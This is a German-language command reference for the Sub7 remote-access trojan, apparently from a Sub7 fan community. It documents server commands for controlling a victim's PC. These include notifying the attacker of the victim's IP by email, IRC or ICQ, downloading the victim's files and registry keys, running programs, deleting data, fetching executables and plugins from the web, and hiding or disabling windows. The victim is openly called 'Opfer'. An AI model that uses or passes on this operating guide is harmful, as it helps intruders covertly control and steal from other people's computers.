

Commands 2.2



Geschrieben von DotCom2000 für Sub7Germany

Tutorial noch einmal bearbeitet und abgestimmt
Fehler im Tutorial oder Kritik an : Heiko@ratct.net

Commands (Kommandos)

Hier findet Ihr eine Aufstellung aller Commands, die in Sub7Client (eigentlich ja im Server) standartmässig bis jetzt enthalten sind. Weitere Commands kommen später mit den PlugIns hinzu. Am Ende der Seite findet Ihr auch die StandartVariablen des Client.

Die einzelnen Commands sind jeweils mit Ihren Parametern (Benutzer Angaben) in "[..]" aufgelistet und erklärt.

StaticIPNotification [ip] [port] [name des opfers]

Die IP-Notify über das neue Feature StaticIPNotify (SIN) erfolgt. Dies wird später erklärt!

SendEmailNotification [user]@[server] [empfänger] [email]

Schickt eine IP_notify per Email. Der Parameter [user] kann leer gelassen werden, falls der server keine Anmeldung erwartet. Dann wird auch das @ weggelassen. [server] ist der EmailServer, über den die Email versand werden soll. [empfänger] stellt die Mailadresse dar, an die die Mail geschickt werden soll. [email] ist der Body der Mail, der frei mit Hilfe von Variablen definiert werden kann.

SendIRCNotification [server]:[port] [empfänger]:[schlüssel] [nick]
[repeat] [inhalt]

Dieses Command schickt eine Notify in den IRC. Hierbei ist [server] der IRC-Server auf den dem sich Sub7Server einloggen soll. Dazu muss natürlich in [port] der Port angegeben werden. [empfänger] stellt entweder einen Channel dar oder einen Nickname (zu unterscheiden am "#"). Ist der Channel Password geschützt, ist dieses im [schlüssel] anzugeben. Der Nick, den der Server benutzen soll wird in [nick] eingegeben. [repeat] gibt die Wiederholungsabstände in Millisekunden an und [inhalt] definiert den Inhalt der Nachrichten mit normalem Text und Variablen (siehe unten).

StopIRCNotification

Beendet die IRC-Notify

GetOnConnectCommands

Gibt eine Liste der Commands zurück, die der Server bei jedem Verbinden ausführt.

ClearOnConnectCommands

Löscht alle OnConnectCommands.

AddOnConnectCommand [command]

Fügt das angegebene Command an die Liste der OnConnectCommands an.

ProtectPassword [passwort]

Setzt ein Serverschutzpasswort, was in [passwort] angegeben wird. Anschließend muss dieses Passwort bei jedem Ändern der OnConnectCommands angegeben werden.

ChangeProtectPass [neuespasswort]

Ändert das aktuelle Schutzpasswort in das neue.

ChangePort [neuerport]

Ändert den Port, auf dem der Server wartet.

ChangePass [neuespasswort]

Ändert das Anmeldepasswort in das angegeben neue.

ChangeVName [opfername]

Ändert den Namen des Opfers in [opfername].

CloseServer

Beendet den Server ohne Daten zu löschen oder Einstellungen zu verändern. Der Server wird beim nächsten Windowsstart neu ausgeführt.

RemoveServer

Löscht den Server. Anschließend ist der PC des Opfers wieder sauber.

UpdateServer [dateiname]

Updatet den Server mit einer neuen Version, deren Dateiname und Pfad in [dateiname] angegeben werden muss.

UpdateServerFromWeb [url]

Updatet den Server mit einer *.exe-Datei, die aus dem Internet geladen wird. Die URL

muss komplett mit "http://" angegeben werden.

GetPCInfo

Gibt die entsprechenden PC-Infos zurück.

RestartServer

Startet den Server neu. Erst wird der Server beendet und anschließend wieder ausgeführt. Hierbei führt er alle OnConnectCommands aus.

DownloadFile [dateiname]

Läd die angegebene Datei herunter. (Komplette Pfadangebe)

RefreshFiles [ordner]

Aktualisiert den Inhalt des aktuellen Ordners. Alle nach dem letzten Übertragen des Ordnerinhalts erfolgten Änderungen werden sichtbar.

RefreshDrives

Aktualisiert die Laufwerke.

DeleteFile [dateiname]

Löscht die angegebene Datei.

DeleteFolder [ordner]

Löscht den angegebenen Ordner.

MkDir [ordner]

Legt einen Ordner an mit dem Namen [ordner].

GetRegKey [hauptschlüssel] [pfad]

Überträgt den angegebenen Schlüssel aus der Registry des Opferrechners.

[hauptschlüssel] ist hierbei ein Wert zwischen 0 und 5 mit folgender Bedeutung:

0 = HKEY_CLASSES_ROOT

1 = HKEY_CURRENT_USER

2 = HKEY_LOCAL_MACHINE

3 = HKEY_USERS

4 = HKEY_CURRENT_CONFIG

5 = HKEY_DYN_DATA

[pfad] ist der weitere Pfad zu dem zu übertragenden Schlüssel.

PlayWAV [dateiname]

Spielt die angegebene Wave- oder MP3-Datei ab.

Wallpaper [dateiname]

Das Hintergrundbild des Desktops wird der Datei zugewiesen.

Rename [datei1]?[datei2]

[datei1] wird in [datei2] umbenannt.

Run [dateiname]

Führt das angegebene Programm aus. Ist [dateiname] kein Programm, sondern eine andere Datei, wird das zugeordnete Programm geöffnet.

FindFiles [unterverz] [startordner]?[suchmaske]

Durchsucht einen Ordner ([startordner]) nach Dateien, die auf die [suchmaske] passen.

[unterverz] muss auf 1 oder 0 gesetzt werden:

1 = Unterverzeichnisse werden einbezogen

2 = Nur das aktuelle Verzeichnis wird durchsucht.

MessageBox [schalter] [icon] [nachrichtentitel] {||}

[nachricht]

Lässt eine Meldung beim Opfer aufpoppen. [schalter] ist eine Zahl von 0 bis 5:

0 = OK

1 = Abbrechen, Wiederholen, Ignorieren

2 = OK, Abbrechen

3 = Wiederholen, Abbrechen

4 = Ja, Nein

5 = Ja, Nein, Abbrechen

[icons] eine Zahl zwischen 0 und 4:

0 = Keines

1 = Warnung

2 = Info

3 = Fehler

4 = Frage

Danach wird der Inhalt der Nachricht angegeben.

DownloadFileFromWeb [url] [dateiname]

Lädt die angegebene Datei aus dem Internet herunter und speichert sie unter dem [dateinamen]. Wird kein Dateiname angegeben, wird die Datei im Verzeichnis "windows\system\" gespeichert.

GetDownloadStatus

Zeigt an, wie weit der Download fortgeschritten ist.

ListPlugIns

Zeigt alle installierten PlugIns an.

LoadPlugIn [pfad]

Installiert das angegebene PlugIn. Dies muss bereits auf den Rechner des Opfers kopiert worden sein!

UnLoadPlugIn [index]

Das mit [index] in der Liste aus ListPlugIns angegebene PlugIn wird beendet.

DownloadPlugInFromWeb [url]

Lädt von der angegebenen URL ein PlugIn herunter, speichert es unter einem zufälligen Dateinamen mit *.dll-Endung im Ordner "windows\system\". War der Download erfolgreich und handelt es sich um ein Sub7-PlugIn, wird dieses im Server installiert.

RefreshWindows [optionen]

Aktualisiert die Liste der offenen Fenster. [optionen] ist eine Zahl zwischen 0 und 1:

0 = nur die sichtbaren Fenster werden aufgeführt

1 = alle Fenster werden aufgelistet.

CloseWindow [index]

Schließt das mit [index] aus der Liste angegebene Fenster.

FocusWindow [index]

Bringt das Fenster in den Vordergrund.

EnableWindow [index]

Lässt das Fenster wieder ansprechbar werden.

DisableWindow [index]

Verbietet das Ansprechen eines Fensters.

HideWindow [index]
Lässt das Fenster vorübergehend verschwinden.

ShowWindos [index]
Zeigt das Fenster wieder an.

SetWindowText [index] [titel]
Setzt den Titel des Fensters auf [titel].

Sleep [anzahl]
Der Server wartet die angegebene Anzahl an Millisekunden, bis das nächste Command ausgeführt wird. (Praktisch für selbstdefinierte Commands)

Version
Gibt die Version des Servers zurück.

Upload [lokaledatei]?[remotedatei]
Lädt die angegebene Date hoch. Wenn [remotedatei] nicht angegeben wird, wird die Datei ins Verzeichnis "windows\system\" geladen.

CancelUpload
Unterbricht den Uplad.

SendICQPager [UIN] [opfername] [thema] [inhalt]
Schickt einen ICQ-Pager an die [UIN] raus, mit folgenden Daten: [opfername] = Name des Absenders, [thema] = Subject des Pagers und [inhalt] = Inhalt des Pagers. In allen Parametern können Variablen benutzt werden. (ICQ-Notify).

Variablen im Sub7Server:

\$port	Der Port, auf dem der Server installiert ist
\$password	Das AnmeldePasswort, was zum verbinden mit dem Server angegeben werden muss.
\$victim_name	Name des Opfers (wird per EditServer festgelegt).
\$server_version	Version des Servers.
\$ip	IP des Rechners, auf dem der Server installiert ist.
\$protect_password	Das Passwort für die Notify-Optionen.
\$username	Benutzername, mit dem das Opfer angemeldet ist.
\$sysdir	Der genaue Pfad zum Windows-System-Verzeichnis. (normal: C:\windows\system)
\$windir	Der genaue Pfad ins Windows-Verzeichnis. (normal C:\windows)

Die hier angegebenen Variablen können theoretisch in jedem Command verwendet werden. Einige Variablen (z.B. \$ip, \$port, \$victim_name) machen mehr Sinn in Notify-Optionen, andere (z.B. \$sysdir) eher in Dateioperationen.

Copyrights by DotCom2000